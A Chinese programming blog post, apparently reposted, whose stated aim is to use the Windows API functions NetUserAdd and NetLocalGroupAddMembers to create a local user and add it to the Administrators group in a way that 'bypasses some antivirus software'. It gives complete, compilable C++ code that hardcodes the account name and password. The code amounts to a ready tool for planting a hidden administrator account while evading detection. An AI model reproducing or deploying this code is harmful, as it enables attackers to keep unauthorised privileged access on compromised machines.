【API】API函数创建用户,添加到管理组

1 学习目标

使用API添加用户可以绕过某些杀毒软件的限制。

2 编程思路

2.1 代码原理

使用NetUserAdd这个API添加普通权限的用户,NetLocalGroupAddMembers这个API添加管理员权限。

2.2 编写思路

  • 1、定义USER_INFO_1 结构体
  • 2、调用NetUserAdd添加普通权限账户
  • 3、调用NetLocalGroupAddMembers添加到管理员组

3 参考文章

《使用NetUserAdd API函数创建远程用户》
http://www.cnblogs.com/findumars/p/5812177.html

4 实现流程

4.1 编程环境

操作系统:windows 7
编译器版本:vs 2010

4.2 前置API函数

NetUserAdd

NET_API_STATUS NET_API_FUNCTION
NetUserAdd (
    IN  LPCWSTR     servername OPTIONAL,  //指定远程服务器的DNS或NetBIOS名称的函数来执行。如果该参数为NULL,使用本地计算机。
    IN  DWORD      level,
    IN  LPBYTE     buf,
    OUT LPDWORD    parm_err OPTIONAL
    );

NetLocalGroupAddMembers

NET_API_STATUS NET_API_FUNCTION
NetLocalGroupAddMembers (
    IN  LPCWSTR     servername OPTIONAL,
    IN  LPCWSTR     groupname,
    IN  DWORD      level,
    IN  LPBYTE     buf,
    IN  DWORD      totalentries
    );

4.3 C++代码

#include "stdafx.h"
#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#pragma comment(lib,"netapi32")    
int Usage(wchar_t *);    
int wmain(int argc, wchar_t *argv[])    
{    


    // 定义USER_INFO_1结构体
    USER_INFO_1 ui;    
    DWORD dwError = 0;     
    ui.usri1_name = L"zzzhhh";            // 账户    
    ui.usri1_password = L"p@sswordQq123";      // 密码
    ui.usri1_priv = USER_PRIV_USER;    
    ui.usri1_home_dir = NULL;    
    ui.usri1_comment = NULL;    
    ui.usri1_flags = UF_SCRIPT;    
    ui.usri1_script_path = NULL;    
    //添加名为zzzhhh的用户,密码为p@sswordQq123:    
    if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)    
    {    

        MessageBox(0,L"successfully",L"title",0);
    
    }    
    else    
    {    
        //添加失败    
        MessageBox(0,L"fail",L"title",0);

    }    

    // 添加用户到administrators组
    LOCALGROUP_MEMBERS_INFO_3 account;    
    account.lgrmi3_domainandname=ui.usri1_name;      
    if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )    
    {    
        //添加成功    
        MessageBox(0,L"Add to Administrators success",L"title",0);
    }    
    else    
    {    
        //添加失败    
        MessageBox(0,L"Add to Administrators Fail!",L"title",0);
    }    

    return 0;
}    

运行截图

549050-20170430194929819-1933570056.png

转载于:https://www.cnblogs.com/17bdw/p/6790197.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值